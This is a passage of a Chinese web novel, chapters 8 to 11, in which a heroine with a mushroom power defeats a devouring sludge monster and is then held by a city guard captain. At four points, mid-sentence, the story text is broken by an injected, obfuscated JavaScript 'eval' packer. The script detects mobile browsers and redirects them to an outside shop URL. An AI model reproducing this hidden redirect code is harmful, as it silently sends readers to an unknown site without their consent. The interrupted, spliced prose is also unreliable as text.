陈听这么一动作，两个人瞬间失去重心，从楼梯上滚了下来。 方沐起身，发现刚才自己站的那块楼梯下方，淤泥怪正从里面钻出头来，差一点儿就能吞掉她。 她大概知道陈听的异能是什么了。 两人继续往外跑，离开了这栋楼。 就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方沐剥开一颗棒棒糖，含到嘴里，冲她轻轻一笑：“种蘑菇去。” 而后她轻盈一跳，跃至空中，奔跑在房顶上，绕到了淤泥怪的身后。 趁着淤泥怪不注意，在它身上一拍。 【生命值-1】 【生命值：9/10】 什么？她的生命值竟然会下降。 方沐一愣，感觉自己的手好像被什么东西轻轻咬了一口，上面留下了一个很小的牙印，很快又愈合了。 这时，她才注意到，淤泥怪的身上，竟然全是密密麻麻的小牙齿！ 怪不得它能顷刻间吞噬掉那么多房屋，原来是身体的每一个部位都进化成了可以咀嚼的牙齿。 再次狂掉san值！ 淤泥怪的背部也随之变成了一张扭曲的脸，朝着方沐追过来。 方沐飞速逃跑，她要是被那玩意咬上一口，身体岂不是会变成筛子。 “好饿好饿好饿好想吃！”淤泥怪这次比之前似乎还要疯狂，仿佛眼前奔跑的正是某种求而不得的美食。 “好想吃好想吃好想吃！” 吃吃吃，这个淤泥怪就知道吃。 方沐突然想到了什么，转过身来，举起了自己手里的棒棒糖。 “大怪物，你想不想吃这个？” 淤泥怪竟然出乎意料地停了下来，眼睛直勾勾地盯着方沐手里的棒棒糖。 “想吃想吃想吃！” “想吃啊。” “想吃想吃想吃！” 方沐坏笑：“想的倒是美。” “啊——” 8. 第 8 章 污染物绝望的怒吼声从远处传来，大地都颤抖了几分。 陈听站了起来，向远处眺望。 方沐这人究竟做了什么，怎么能让一个污染物发出如此绝望和悲怆的声音。 可惜她距离太远，从这里看过去，只能看到淤泥怪高出周围楼房高度的庞大身体，以及一个芝麻点大小，在楼顶上跳来跳去的方沐。 淤泥怪不断挥动着胳膊，像是在拍苍蝇。 好机会，现在谁都没有注意到她，她完全可以趁机溜走。 陈听站起身来，刚要离开，脚不小心踢到了一个小瓶子，她捡起那个小瓶子，顺着瓶子滚来的方向看去，发现恰好是那个受伤男人住的院子里。 此刻，院子里一片狼藉，地上是一大片溅开的鲜红色血迹，明显经历了一场非常残酷的杀戮。 陈听走了进去。 另一边，方沐还拿着那根棒棒糖蹦来蹦去，用棒棒糖吸引这只淤泥怪的注意力。她能感觉到，淤泥怪对这只棒棒糖的渴望已经超出了一般的存在，现在连房子都不想吃了。 就像是一只格外挑食的小狗，发现主人手里有比碗里的狗粮更好吃的肉骨头后，就再也移不开任何注意力。 但这只淤泥怪不是狗，总会有耐心告罄的那一刻，这么一直吊下去不是办法。 方沐咬碎棒棒糖，把裹着碎糖渣的棍子扔了出去。棍子在空中停滞了一秒，接着，一张黑不见底的大嘴张开，如同鲨鱼跃出水面，将棍子吞了下去。 淤泥怪全身的牙齿开始咀嚼蠕动，“咕咚咕咚”的吞咽声在它身上此起彼伏，仿佛无数张嘴一齐共享这来之不易的美食。 “嗝~”淤泥怪打了个餍足的饱嗝，身体竟然继续膨胀变大，比之前吃房子时变大的速度更快了，身上的牙齿数量也翻了将近一倍。 “糟糕！”方沐完全没料到，现在情况比刚才更糟了。 她本来是想趁机逃走，没想到反而把自己彻底困在了这里。 此刻，方沐已经到了D区的边缘位置，她的身后就是耀光城的围墙，现在已经无路可退。 “还想吃还想吃还想吃！”仿佛不再只是一个人说话，而是身上无数张嘴都在开口说话，它们融合在一起，变成一种交杂着无数杂音的声音，听来便让人觉得无比吵闹。 淤泥怪横向身体的宽度也增加了一倍以上，挡住了方沐所有的对向视野。 “想吃想吃想吃！”淤泥怪不满足于那么一点糖渣子，它知道方沐身上还有更多更多甜甜的味道。 但这一次，它不再只是原地等待，而是直直地冲着方沐而来，打算将她一起吞到肚子里。 方沐左手举起，蘑菇化作一个大型盾牌，将自己包裹起来。 【生命值-1】 【生命值：8/10】 【生命值-1】 【生命值-1】 【生命值：6/10】 生命值持续下跌，方沐和蘑菇连成了一体。 密密麻麻的牙齿啃食在蘑菇上，方沐也感觉好像有无数小虫子在啃食她的皮肤。蘑菇从她的身体里抽走能量，源源不断地补足蘑菇上被啃开的缺口。 方沐不断地发动异能【乌合之众】，试图抓住一个小小的空隙，从原地脱身。可淤泥怪身上的牙齿们仿佛都是孤立存在的，它们彼此互不干扰，并不会同时停止，一颗牙齿停止运动后另一颗牙齿便紧随其后。 牙齿们像是齿轮一样转动着，一格挨着一格，永不停息。 淤泥怪也不再准备破开方沐的防御，而是再次将身体软化，慢慢地从四周包裹着方沐，要像包饺子一样把她包起来。 黑暗逼近，方沐逐渐感到窒息。 【生命值-1】 【生命值：5/10】 她要死了吗？ 突然，不远处“噌”的一声，像是金属快速划过的声音，宛如拉出一串带着火花的痕迹。 但淤泥怪并没有被声音夺走注意力，它并不打算放过眼前马上得手的美食。 【生命值-1】 【生命值：4/10】 不，她不想死！ 方沐不再选择用蘑菇保护自己，她把蘑菇变成了攻击的武器。 蘑菇盾牌上面长出了许多软刺，一个一个扎入淤泥怪的体内。软刺不断生长变长，表面生出一个又一个吸盘，不断向下扎根生长，把牙齿们牢牢吸住，又疯狂挤压它们的生存空间。 淤泥怪的牙齿每咀嚼一次，蘑菇的软刺就往里深入一分。淤泥怪的牙齿不动，吸盘就疯狂地寻找机会开拓道路。 现在，主动权握在方沐手上。 【生命值+1】 【生命值：5/10】 方沐微微一笑，觉得淤泥怪的身体就是滋润蘑菇最好的养料。 既然污染物想要吞噬她来消灭她，她也要吸干它来成就她。 或许，这就是所谓的污染——吞噬对方的生命，成就我的生命。 【生命值+1】 【生命值：6/10】 “噌”的一声，熟悉的声音再次出现。 “噌噌噌”！银光闪过，一个手握两把银色弯刀的女人闪过，硬生生削下了淤泥怪背上的一排牙齿。 正是方沐睡前看到的那个黑衣女人。 “啊！！！”这一次，淤泥怪竟然发出了极为痛苦的惨叫。 淤泥怪被前后夹击，知道自己已经没有办法吞掉方沐，甚至极有可能会被对方吞噬。 它身上的牙齿调转方向，开始啃咬自己的身体，硬生生扯下自己身体的一部分，然后快速远离方沐。 方沐蘑菇上的小吸盘把落在地上的身体吸得一干二净，蘑菇得到了滋润，表面也变得光滑健壮起来。 不远处的淤泥怪不再选择靠近方沐，而是改变策略，不断拔起附近的房屋，朝着二人砸来。 黑衣女人一个瞬移，来到了方沐身边，带着她瞬移离开。 “想办法找到污染物的弱点，否则它不会善罢甘休的。”黑衣女人的语气如同她的刀一般冷冽。 “弱点？”方沐不太明白。 “你不知道？”黑衣女人拧起眉头，带着方沐躲过又一次攻击后，快速向她解释：“一般来说，这种高等级的单体污染物是没有办法通过强攻彻底消灭的。即便碎成千万块，它们也会不断重生复活。” “攻击弱点是消灭它们最快最有效的方式。每个污染物的弱点不同，这要通过观察它们的行为来判断。你可以把弱点理解成为它们最害怕最恐惧的部分。” 最害怕最恐惧？方沐想起了那个补丁玩偶，她最害怕的是和别人不一样，所以当她和周围玩偶不一样的时候，她也被方沐找了出来。 方沐抬头，看向不远处一边吃房子一边扔东西的巨型淤泥怪，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470522|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能听到它不断发出“好饿好想吃”的声音。 淤泥怪的弱点会是什么呢？它最害怕什么？ 已知淤泥怪总是在饿，总是在吃东西，甚至吃到更美味的食物后，身体变大的速度会更快。 那么是不是可以推测它最害怕的就是饥饿呢？ 可是，作为一个什么都吃的污染物来说，它真的会饿吗？ 等等，一个场景穿过方沐的脑海，她突然想到了什么。 “带我去那边的房子！”方沐拍拍黑衣女人的肩膀，催促她。 黑衣女人没有问方沐，但知道她肯定想到了什么，二话不说一个瞬移，短短几秒的时间就从D区最边缘的地方回到了原来的位置。 这时，陈听恰好瘸着腿从那个四处是血的院子里走了出来，几人碰面。 方沐看见她，有些意外：“你竟然没有偷偷逃走？” 陈听有些心虚，悄悄移开目光：“你真是小瞧我陈听了，我这人一向最实在最讲义气。” “……” 陈听似乎也觉得说得太过了，咳嗽一声，转移注意力，把她从院子里发现的东西交给了方沐：“这是我找到的一本日记，日记的主人应该就是那个变成污染物的男人。” 日记本是一个非常小而薄的本子，可以看得出来它的主人非常仔细地在使用它，上面的字迹都极小极密，拼命挤占了每一个可以记录和书写的空间。鲜血浸透了这本日记，让翻页变得有些困难。 整本日记里记录的都是男人日常的生活，以及无时无刻不在的“好饿”“想吃东西”“一点儿不满足”的话语。 翻到最后，日记上的字越来越大，书写风格也越发癫狂。 上面写着：我不想再吃这些没有任何味道没有任何口感的东西了，这根本就不是食物，这不是人该吃的东西！我想吃正常的食物，住正常的房间，过更加正常的生活！这不是人应该存在的地方！或许那个人是对的，吃了它，我或许就能改变命运…… 那个男人吃了什么？方沐不得而知。 但通过日记，方沐也更加坚定了自己的想法。 这个污染物的弱点不是饥饿，而是吃不到“正常”的食物，所以它宁愿啃房子都不想再吃那个食物。 它最恐惧最害怕的便是——营养液。 “你们身上有营养液吗？有的话都拿出来。”方沐看到淤泥怪离她们越来越近了。 “什么？要营养液干什……”陈听说到一半，突然恍然大悟，“原来弱点竟然是这个。” 一旁的黑衣女人也很快明白过来，从自己的兜里掏出五瓶原味营养液，递给方沐：“我只有这些。” 方沐拿过来，说：“这些不够，还需要更多。” 她看到陈听一副犹犹豫豫的样子，感到非常奇怪：“你呢？你身上一瓶都没有吗？” 陈听咬咬牙，似乎下定很大的决心，把自己身上的包袱摊开，又从里面打开一个小包袱。 那个包袱一打开，方沐不由惊呼出声，就连黑衣女人也有些惊讶。 小包袱里满满当当的，竟然全部都是营养液，少说也得有个几百瓶。 “我都说了这很重要。”陈听一脸心痛地交出所有的营养液，对方沐说：“你今天一定要弄死这个污染物，让它给我的营养液陪葬。” 方沐接过来，看着已经来到她们面前的淤泥怪，笑着回：“一定。” 9. 第 9 章 话音刚落，方沐已经不在原地。 她跳上房顶，摸出兜里的最后一根棒棒糖，将其举在身前，对着面前的淤泥怪大声挑衅：“大怪物，你还想不想吃了？” 棒棒糖一出现，淤泥怪就像巴浦洛夫的狗一样，瞬间出现条件反射，将注意力集中到了棒棒糖上面。 “好想吃好想吃好想吃！” 可又碍于方沐刚才对它造成的伤害，它并不敢靠近，只能徘徊在前，然后不断朝着方沐扔东西，妄图砸死方沐，然后再把棒棒糖夺回来。 方沐轻巧地躲过攻击，也不再耽误时间。 棒棒糖只是一个诱饵而已，她要做的，是把这几百瓶的营养液全部都灌到淤泥怪的嘴里。 单凭外部的攻击无法彻底结束淤泥怪的生命，方沐觉得它或许和补丁玩偶一样，都应该从内部击破。 但是，棒棒糖只剩下一根，这是她唯一的机会，绝对不能出错。 “大怪物，看这里！”方沐停下，左手抚过棒棒糖，在上面种下一朵蘑菇，而后奋力将其抛到高空。 淤泥怪一跃而起，张开深不见底的大嘴。 与此同时，方沐用蘑菇触手卷起几百瓶营养液，也将其抛到空中。 大嘴闭合，将棒棒糖和营养液一起吞到了肚子里。 “咕咚”，它们落到了淤泥怪的肚子里。 那无数颗牙齿再次开始运动，它们不断蠕动咀嚼，仿佛要把肚子里的食物切割成碎末，再融入自己的身体。 “嗝~” “好吃好吃好吃！” 淤泥怪的身体一寸一寸的变大，似乎要赶上远处围墙的高度。 方沐的心沉了下去，营养液没有用？难道是她猜错了？ 下一秒，淤泥怪身上的牙齿再次动起来，只是这次的运动方式格外奇怪，不像是咀嚼，更像是呕吐。 “yue——”此起彼伏的呕吐声在淤泥怪身上响起。 “难吃难吃难吃！” “好难吃好难吃好难吃！” “好撑好撑好撑好撑！” 淤泥怪痛苦地嚎叫着，它的身体上鼓出一个又一个小包，身体变得像一只癞蛤蟆。 那些小包并非是静止的，反而里面仿佛还栖息着另外的生命，此刻正不断地在淤泥怪身上蠕动着，似乎想要脱离淤泥怪的身体。 终于，那些小包膨胀到了极限，一个个炸开，像是破开堤坝的洪水，里面源源不断地涌出牙齿。 淤泥怪身上仿佛在下冰雹，牙齿们噼里啪啦从里面掉落出来，砸到地上，溅起一颗又一颗摔到断裂的牙齿。 “砰砰砰”，淤泥怪身上继续不断炸开，此时的场景看起来，好像是淤泥怪变成了一个枪靶子，远处有人拿着机关枪在不断向它扫射。 这次，它的身上掉出来的不再是牙齿，而是流动的淤泥。 淤泥们掉落出来，像是一只只乱窜的泥鳅，一落到地上，便朝着四周爬去，想要逃离这个地方。 淤泥怪的身体不断缩水，庞大的身体逐渐复原，变回了正常人类的大小。 【污染浓度：100%】 “噗”，它的脑袋上鼓出一个大包，一朵蘑菇冒了出来。 四处乱窜的小淤泥们加快了速度，仿佛身后有某种更为可怕的东西在追杀它们。 那朵蘑菇一冒出头，便以一种极为诡异的速度飞速生长。 【生命值+1】 【生命值+1】 …… 【生命值：10/10】 蘑菇还在生长着，它伸展开菌盖，像一把慢慢展开的大伞，不断庇护着周围所有的土地。 “砰砰砰”，逃窜的小淤泥们在蘑菇的遮蔽上，一个接一个的炸开。 淤泥怪的身体也在蘑菇的不断成长下逐渐萎缩，最后消失不见，它成为了蘑菇长大的养料。 蘑菇上面，长着一穿圆润细小的牙齿，偶尔蠕动着，发出磨牙般小而闷的声音。 一盏巨大的蘑菇灯在黑夜中亮起，黑黝黝的D区也因此有了一丝光亮。 “这就是自然系异能，好美……”黑衣女人抬头望向天空，她看到蘑菇周围飘散着一些微小的颗粒，它们在光晕的照耀下，仿佛就是天上的星星。 因为害怕被波及到所以一直躲在墙后面的陈听此刻也走了出来，她拖着那条被污染物重伤过的右腿，走到巨大的蘑菇下面。 她伸出手，一颗闪着白光的蘑菇孢子落到手上。 陈听想起了自己曾经看到过的那个【预言】—— 一望无际，到处是污染物的废土之上，忽然冒出了一朵又一朵的巨大蘑菇，它们赶走了肆意横行的污染物，夺回了人类的家园。 人类走出耀光城，踏在昔日的土地之上，终于可以朝着更深处探索。 此刻，那个【预言】仿佛化为了现实，而不再只是一场梦。 陈听眼中充满悲伤与怀念，或许，那群疯子们的梦想真的可以实现。 【已击杀B级污染物】 【击杀奖励开始结算】 【孕育一朵污染菇，生命值：10→100】 【获得异能：变形 介绍：你的身体很有想法，可以变成任何你能够想象到的模样。 提示：注意变形时间，不要忘记你本来的模样，否则可能永远都变不回来了哦～】 【获得B级污染晶核5枚 获得C级晶核10枚 获得D级污染晶核100枚】 方沐看到地上掉落的一堆污染晶核，第一反应是发大财了。 再一转眼，发现陈听竟然竟然蹲在地上数污染晶核的数量。 “你这是在干什么？”方沐站到她身后。 陈听头也不抬地回，眼里全是污染晶核：“数污染晶核啊，这么多晶核，我们一会儿得看看怎么分。” 你难道看不到字幕提示吗？方沐刚想问出口，忽然停住了嘴。 她突然意识到这个提示字幕的出现方式和显示生命值的字幕是一模一样的。 也就是说，这所有的字幕提示，只是属于她一个人的。 只有她一个人能够看到这些吗？为什么呢？因为她并不是一开始就生活在这里吗？ 另外，她还注意到自己的生命值从10直接跃升到了100。 生命值并非是按照固定数值加减，虽然目前的数据还不算太多，但方沐大概看出了生命值增加的规律——每次增长都会添加一个0。 如果她猜测的没错的话，按照这样的规律延续下去。只要她前面的1一直存在，她可以无限制地去增加后面一长串的0。 也就是说，她完全有可能实现永生。 哇，这么一看，这些蘑菇都圆滚滚的，生命值后面的0仿佛就是一个又一个的小蘑菇。 这种感觉好像，这些蘑菇就是她生命的延续。 污染物通过污染使自己变得更加强大，她通过“污染”使自己变得更长寿。 这种身体不断充满力量的感觉很好，她很喜欢。 不过，这真的不是她精神病更严重了吗？ 因为她认识的一些精神病人通常会出现这种想法，比如什么成为世界最强啦，什么变成救世主啦，什么穿越到异世界然后成为神明啦。 真是，一个个都太扯了。 不过她一个精神病人总是反思自己的精神病是不是也不太正常，一般精神病人不应该都坚信自己没有病吗？ 算了，她都有精神病了，还想那么多干什么。 方沐甩掉自己自己脑袋里越跑越远的想法，和旁边的黑衣女人说话：“我叫方沐，刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470523|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多谢你帮忙，你叫什么名字？” “嗯。”黑衣女人点点头，说：“瞿风。” 瞿风惜字如金的态度很符合她的个人风格，干脆利落，冷冽如刀。 “你是自然系异能者。”瞿风用很肯定的态度告诉方沐。 方沐有些意外，没想到瞿风会对这方面感兴趣，于是伸出左手给她看：“是的，我的异能就是这朵蘑菇，我也是刚知道这种异能被称为自然系异能者。” 瞿风很认真地观察着她手心里的蘑菇，嘴里默默念了两遍“蘑菇”，似乎是第一次见到这种生物。 过了一会儿，她抬起头，肯定地告诉方沐：“你确实是自然系异能者，所有的自然系异能者都会在身上显示他们拥有的元素。” “你还见过其他的自然系异能者？” “见过，二十年前，他们给耀光城留下了最后一缕风，最后一场雨，最后一抔土，此后再无音讯。”瞿风抬起头来，说：“你会死的，自然系异能者没有人活下来。” 类似的话陈听也说过。 方沐挑眉，心想她现在可是拥有着永生的可能性，怎么可能那么轻易死掉。她和那些自然系异能者不太一样，他们是从这里长大的，而她是从精神病院里逃出来的。 但反驳的话还没说出口，另一个声音就凑了上来。 “呼～”陈听长长地舒了一口气，抹了抹额头，“终于数完了，一共是5枚B级污染晶核，10枚C级晶核，100枚D级晶核，合计700枚晶核点，我们可以去置换柜里换算成晶核点再分。” 方沐有些意外，陈听竟然一个都没少数：“我还以为你会自己私吞，没想到竟然这么仗义，我看错你了。” 一听这话，陈听顿时变得飘飘然，拍着胸膛就开始说大话：“那当然，你别看我这人不务正业，但那都是生活所迫，迫不得已啊！我活到这么大岁数，可从来不做欺骗朋友的事。” 朋友吗？那不是朋友就可以骗喽。 方沐又指了指她一直没离身的包袱，问：“这包袱里的书纸到底是关于什么的，让你为了它们可以命都不要？” 其实，当方沐刚进陈听家的时候，她就对那些东西有点好奇了，只是还没来得及做些什么，污染物就开始跑到她房间里偷偷吓人。 陈听不太自然地紧了紧自己身上的包袱：“哎呀，就是些旧纪元人类留下的东西罢了。我给人做咨询找东西，不得多读点儿书，才能让别人相信我嘛。咳咳，我们还是快去兑换晶核点吧。” 方沐听陈听这么一说，更加确信这些书纸的意义对陈听不太一般。 但既然陈听不想说，方沐也没有办法逼她开口。 于是，三人便朝着离她们最近的置换柜走去。 很神奇的是，那个淤泥怪刚才又吃又砸了那么多东西，竟然没有破坏到置换柜半分。置换柜依旧沉甸甸地坐落在那里，身上的“Z”字符号依旧无比夺目。 也是这时，与她们对向的路上，远远地走来一群人。 瞿风最先察觉到异样，开口说：“是护城队。” “什么？”陈听一听，连忙把污染晶核塞到自己的小包袱里，晶核点也不准备换了，就打算跑路：“完了完了，狮子头怎么来了。” 方沐一看陈听这样子，便知道对面有个了不起的大人物。她朝着那队人看去，发现那队人里有几个她白天时在城门口见过的检察人员，程思意也在其中。 领头人她从没见过，是个眉眼冷硬的中年女人，身上带着一股不怒自威的森严气质，衬得她周围人像是一个个没见过世面的小鸡仔。 那人走近了，上上下下扫了她们一眼，在方沐身上停留了几秒，又将目光投向她们身后巨大无比的蘑菇。 她多看了几眼，很快便转回目光，冲着旁边人吩咐道：“带走。” 10. 第 10 章 “喂喂喂我们可没犯什么错，你怎么能这么随便把人带人走！”陈听一听要把她们带走，顿时不淡定了，抱着自己的小包袱抵着墙，一脸倔强，誓死不从。 “是吗？”女人掀起眼皮看她一眼，播报般朗读：“陈听，女，36岁，黄昏区D区常驻居民，现在属于无房流浪居民，最近一次入城时间是一个月之前。 按照耀光城规定，无房流浪居民在城内逗留不能超过三天。此外，你四处张贴虚假广告，与多人产生经济纠纷，违规闯入空闲房屋，严重扰乱了城内秩序，我完全有权将你驱逐出耀光城。” 女人顿了一下，问她：“现在还有异议吗？” “没，没了……”陈听心虚目移，像个认命的小鹌鹑。 女人把目光转向方沐，冲她伸出手：“你好，我叫成燕，耀光城护城队队长。因为城内出现了高级污染物突袭的情况，现在需要向几位了解相关情况，还希望各位能够配合。” 方沐扫视了一圈周围的人，觉得对面虽然来势汹汹，但并没有明显恶意，更像是公事公办的样子，她决定暂且相信这个叫做成燕的女人。 方沐伸出手，友好地和成燕握了手：“你好你好，我叫方沐。” 但一个小时后，方沐就知道，自己还是太相信别人了。 她们三个人被丢进了一个房间里，然后没有了下文。 三人面面相觑，先是陈听躺到了沙发上，然后又是瞿风坐到了角落的椅子上，只有方沐似乎没搞明白情况。 “现在是怎么个情况？我们现在这是……”方沐谨慎措词，“被软禁了？” “差不多吧，反正一时半会儿应该是只能待在这里了，他们护城队办事很慢的，有的等了。”陈听幽幽地说。 “但瞿风你不是有异能【瞬移】吗？你刚才为什么不直接跑掉？”方沐不明白她怎么就这么老老实实被捉进来了。 瞿风看了看她，有些不理解：“为什么要跑？” 方沐愣住了，她没想到瞿风长着一张如此冷淡疏离不服管的脸，实际上性格却如此乖巧。 只有她，实在是受不了这种被限制人身自由的环境。 “那你们在这里等着，我要出去探探情况。”方沐没办法这样坐以待毙。 “你要出去？”陈听侧着头看她，“门口有两个护城队的人，你要是攻击他们，会得罪整个护城队的。” 方沐笑了笑，神秘兮兮地说：“当然不能光明正大地出去了。” 下一秒，她发动异能【变形】。 【异能：变形 介绍：你的身体很有想法，可以变成任何你能够想象到的模样。 提示：注意变形时间，不要忘记你本来的模样，否则可能永远都变不回来了哦～】 方沐原地化成一滩形如史莱姆状的液体，顺着门缝溜了出去。 刚才还悠闲地躺在床上的陈听，此刻一个激灵，从沙发上滚了下来，发出“咚”的一声巨响。 门口的人听到动静，推开门吼道：“干什么呢！” “没什么，这沙发太舒服了，我们抢着玩呢。”陈听摔得龇牙咧嘴，却还是笑嘻嘻地解释着。 “老老实实待着，别想着跑出去，你们跑不掉的！”门口的人没发现什么异样，警告了她们一声，再次把门关上。 陈听呼出了一口气，看着方沐刚才消失的地方，不可思议地开口：“我没看错吧，方沐她变成一滩水流走了。她，她不是自然系异能者吗？怎么还有别的异能？” 瞿风看上去要比陈听淡定许多，但其实心里也已经激起千层波浪。耀光城所有的人都只有一个异能，从来没有出现过同时拥有两个异能的人。 方沐从门缝里溜出去后，就一直贴着墙边走。好在陈听刚才吸引了门口两个人的注意力，她找到机会直接跑了很远。 后来，她发现自己的身体是粘性的，甚至可以顺着墙上下移动。于是她干脆放弃了地面爬行，选择在更快更安全的房顶上飞速移动。 但问题是，她对这里并不熟悉，绕来绕去不仅把自己绕得晕头转向，现在更是不知道往哪个方向走。 方沐又坚持着往前爬了一段，想着要是再没有任何发现就换个方向。 可惜，依旧一无所获。 就在她准备掉头离开的时候，方沐听到了“吱呀”一声，是房门打开的声音。 方沐迅速朝着声音传来的方向移动，贴在了一个很隐蔽的墙角处。 她很幸运，直接找到了成燕的办公室。成燕坐在办公椅上，程思意正站在她的对面。 看来，刚才那声开门声就是程思意进办公室时发出的声音。 方沐缩起身体，尽量减小自己的存在感，开始偷听她们的对话。 “老师，对不起，这次是我的疏忽。”程思意率先开口，语气里满是歉意。 “不用道歉，你没做错任何事。李凯进城时的各项标准没有任何问题，他是进城之后才发生污染异变的。”成燕拿出来了一个手环，继续说：“这是李凯的手环，好在没有完全损坏，还能从里面看到他之前的精神污染值变化。” 方沐猜测李凯就是那个变成污染物的受伤男人。 “是，老师。但我当时用【慧眼】观察到了他的状态，他当时状态看起来有些低沉，我还以为他只是受伤的缘故。我应该更加谨慎一些然后报告的，那样就不会发生今晚上这种事了。”程思意非常自责，依旧觉得这件事是自己的责任。 成燕叹了口气，起身走到程思意旁边，拍上她的肩膀：“思意，你完全不需要自责，即便他当时的状态极为正常，这也并不代表他不会发生异变。他不是因为受伤，而是外力导致的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470524|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “老师，你是说有人诱导他变成了污染物？！”程思意猛地抬头，有些不敢置信。 成燕点了点头，又回到了自己的座位上，拿出来了一个小瓶子，里面装着几粒黑色的小药丸。 “这是我们在现场发现的东西，初步猜测就是这个东西引发了污染异变。但因为还没分析出具体成分，所以尚不能完全确认。但就最近几起频频出现的城内污染物来说，这应该并非突然。” “所以——”成燕话音一转，看向程思意，“我们需要你的【慧眼】来发挥作用，最好能在那些人变成污染物之前就揪出他们。” “是！”程思意一听这话，来了斗志，“我会努力，不让您失望的！” 成燕挥挥手，让她出去了。 不一会儿，又有另外一个人进来，开始向成燕汇报最新情况：“我们翻找了旧纪元里关于自然类的所有书籍，对比了多方图片后，最终确定这个巨大的发光物体是一种真菌类生物，旧纪元人类通常称它为蘑菇。所以我们推测方沐是自然系异能者，但其它情况还需进一步检查才能得出明确结论。” “蘑菇？”成燕看着桌面上的详细报告，有些意料之中，“真是好久不见自然系异能者了，不过她又能活多久呢？” “另外，我们试图对蘑菇进行具体分析时，发生了一些棘手的情况，可能需要向黎明区求助。”那人看起来似乎有些犹豫，不知道这话该不该说。 “你说就是。”成燕抬眼。 “就是……我们带过去的所有检测仪器全都无法使用，甚至有几个检测仪器已经爆表损坏。这朵蘑菇的污染值似乎已经超出了可检测范围，也就是说它的污染值很有可能已经超出了100%。更奇怪的是，现场没有任何污染物的残留痕迹，就像是全部蒸发了一样。” 办公室里突然变得极为安静。 那人见成燕一直不回应，小心翼翼地问：“所以，我们……” “准备准备，现在去见方沐。”成燕突然起身。 “啊？是！我们现在就准备。” 方沐一听，瞬间感到大事不妙，把头一缩，钻出屋顶，史莱姆液体下方长出几只小脚，开始奋力奔跑。 成燕抬起头，往方沐刚才待过的角落望去。 奇怪，刚才那里有东西吗？ 这边，陈听还一直来回踱步，时不时和一直没有搭理过她的瞿风搭话：“天哪，她有两个异能，这太不可思议了。但是她怎么现在还没有回来，该不会是被发现了，还是说直接逃跑了。” 陈听有些急躁，走到瞿风面前：“瞿风，你干脆【瞬移】出去看看，我怎么总有种不好的预感。” “不用。”瞿风终于回应她，向她身后看去，“她回来了。” 下一秒，方沐便从门缝中钻进来，“唰”的一下变回了原本的样子。 11. 第 11 章 陈听一回头，便看到方沐凭空出现在她面前。 “你你你你你你……”陈听再次被吓到，想要说的话一时半会儿全部卡住了，半天没说出句完整的话。 “？”方沐感到疑惑，但想到她刚才偷听到的话，连忙分享给二人：“成燕要过来了。” “什么？”陈听一愣，嘴瞬间变利索了，“护城队的人办事效率怎么突然这么高了，那群人不是特别喜欢走流程吗？” 陈听有点不太相信。 然后很快被打脸。 话音刚落，门外由远及近的脚步声响起。 “老师！”一左一右两个门卫说话。 “嗯，打开门，把她们带出来做检查。”成燕的声音紧接着响起。 “真的是狮子头。”陈听有些惊讶，声调随之降低八度，用几乎只有自己能听到的声音嘟囔着。 “为什么叫她狮子头？”方沐也学着她的声音小声询问，她到现在也没看出成燕此人和狮子有什么关系。 “是这样的。”陈听凑在方沐耳边，低声且快速地跟她解释，“一是因为护城队的成员都叫她老师，师谐音狮；二是因为她的异能【狮吼】。对了，此外A区还有个名号响当当的大老虎，她俩一狮一虎坐镇整个黄昏区。” 狮虎组？方沐觉得有点意思，还想再多问点东西。 但还没等问她出口，成燕便推门而入，带着后面几个护城队的成员进来了。 成燕扫了三人一眼，最后定格在方沐身上，颇有礼貌地开口：“很抱歉把各位直接关到这里，现在我们需要各位配合做个检查笔录，没有问题你们就可以离开了。” 方沐总觉得成燕此人面上挂笑，言语却颇为冷硬，给人一种笑里藏刀的感觉。 想到刚才偷听到的对话，方沐认为事情并不会像成燕说得那么简单，但也不认为对方会对自己造成太大伤害。 毕竟她现在的生命值已经涨到了100，甚至掉生命值还会有实时播报，一旦意识到不对再跑便是。 比起对方会对自己造成不利，其实她比这些人都更想搞清楚她到底是个怎样的存在，她种下的蘑菇污染度为什么会那么高，她的异能为什么是污染，以及为何入城检测一切合格，还有她到底和污染物是什么关系。 这一切都困惑着方沐，如果有人可以帮方沐一起寻找答案，那真是再好不过了。 三人很快被带到了检查室。 